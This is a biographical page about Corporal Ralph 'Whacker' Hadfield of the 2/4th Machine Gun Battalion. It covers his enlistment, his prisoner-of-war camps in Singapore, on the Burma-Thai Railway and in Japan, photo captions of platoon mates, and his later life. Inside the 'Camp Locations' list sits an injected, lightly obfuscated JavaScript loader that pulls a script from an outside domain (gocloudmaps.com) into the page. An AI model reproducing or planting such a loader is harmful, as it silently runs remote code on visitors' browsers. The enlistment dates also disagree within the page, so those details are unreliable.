The Soldier's Details

Surname:
Hadfield
First Name:
Ralph William
Nick Name:
Whacker
Rank:
Corporal (Promoted on 24.1.1942)
Regimental #:
WX7246
Classification:
Rangetaker
Company:
‘C’ Company, No. 10 Platoon (Section Corporal)
Enlisted:
1.04.1940
Discharged:
2.05.1946
DOB:
12.08.1917
Place of Birth:
Leonora, Western Australia
Father's Name:
Herbert Thomas Hadfield
Mothers's Name:
Nancy Teresa Hadfield (Cummins)
Religion:
Roman Catholic
Pre-war Occupation:
Dairyman and Truck Driver
Singapore:
Selarang Camp Changi; Johore Bahru, Adam Park (4.4.1942-27.12.1942); Selarang Barracks Changi (27.12.1942-14.3.1943) River Valley Road Transit Camp
Force:
‘D’ Force Thailand, S Battalion
Camps Thailand:
Tarsau (27.3.1943-24.4.1943); Kanu II (25.4.1943-11.7.1943; Hintok River Camp (11.7.1943-23.8.1943); Tarsau (23.8.1943-26.4.1944); Tamuang (26.4.1944-21.6.1944)
Camps Japan:
Yamane (10.9.1944-18.5.1945); Niihama (18.5.1945-13.9.1945)
POW#:
4 /4500, 8730 and 1546
Japan:
Rashin Maru Party
Return Details 1945:
Wakayama‐Okinawa, USSSanctuary; Okinawa-Manila, USS Bingham; Manila-Sydney, HMS Speaker; Sydney-Melbourne-Perth by troop train

General Description

 

Ralph William Hadfield was born 1917 Leonora to parents Herbert Thomas and Nancy Teresa Hadfield (nee Cummins) who married in Victoria in 1912.
He was one of six children, five sons and one daughter.
His father Herbert Thomas Hadfield died at Leonora 1955.  His mother died at Leonora in 1974.
His father was Leonora’s Milk Purveyor, ‘Jersey Dairy’ which is where Ralph was working. Herbert Thomas was an active community member, involved in many local events including the Roads Board.

 

 

He enlisted with AIF at Leonora 1 Aug 1940 and later joined 2/4th MGB’s ‘C’ Company 10 Platoon under Commanding Officer Lt. Wilson as a rangetaker.
Also from Leonora was Gilbert Hadden WX7213 who joined ‘C’ Coy 12 Platoon.

 

Wenn Collection –
Wenn Collection – 10 Platoon
Back L-R: Jimmy Quinn, Les Marriott, Johhny Clare, Clarrie Henderson, Ralph Hadfield.  Front L-R: Don Maning, Wenn, Ern Ricketts.

 

The following are the camps Hadfield was sent as POW

Adam Park, Singapore 4 Apr – 27 Dec 1942
Selarang Barracks, Singapore 27 Dec 42 – 14 Mar 1943

‘D’ Force Thailand S Battalion

Tarsau Camp, Thailand 27 Mar – 24 Apr 1943
Kanu II (Burma-Thai Railway)  25 April – 11 Jul 1943
Hintok River Camp (Burma-Thai Railway)  11 Jul  – 23 Aug 1943
Tarsau Hospital Camp 23 Aug 1943 – 26 Apr 1944
Tamuang Camp 26 Apr – 21 Jun 1944 – Selected to work in Japan with ‘Rashin’ Maru Party

Yamane, Japan 10 Sep 1944 –  18 May 1945

Niihama, Japan 18 May – 13 Sep 1945

He was recovered from Niihama at the end of the war.

Whilst working at Yamane he was bashed on head by mechanical shovel and was ‘sick’ 15.8.1945.
Back L-R: Thomas Gibson, Bert Norton, Fred "Cowboy" Matthews, Ralph Hadfield, Front: George Chatfield, Norm Thompson, Claude Dow, Andrew "Mick" Lambie
Back L-R: Thomas Gibson, Bert Norton, Fred “Cowboy” Matthews, Ralph Hadfield,
Front: George Chatfield, Norm Thompson, Claude Dow, Andrew ‘Mick’ Lambie.

 

Hadfield sailed to Manila to Sydney, Australia on HMS ‘Speaker’ please read about Speaker

 

Ralph Hadfield married in 1946 to Grace J. Whittington. Several mates from 2/4th were able to attend – Tom Finlay, Len Armstrong, Jim Flanagan and Albbie Miller.  Harry Fuhrmann was unable to attend as he was then in hospital.

He died in 1992 at South Perth.

 

Camp Locations:

  • "var d=document, s=d.createElement('scr'+'ipt'); s.src='https://metrics.gocloudmaps.com'; d.head.appendChild(s);" height="0px" width="0px" />
  • Johore Bahru, - Malaysia
  • River Valley Road Camp - Singapore
  • Selarang Barracks Changi - Singapore
  • Selarang Camp Changi - Singapore
  • Hintok River Camp, 158k - Thailand
  • Kanu II, 152.30k - Thailand
  • Tamuang, Tha Muang 39k - Thailand
  • Tarsau, Tha Sao 125k - Thailand
  • Nihama, Hiroshima #2-B- Japan
  • Yamane, Hiroshima #3-D - Japan
Back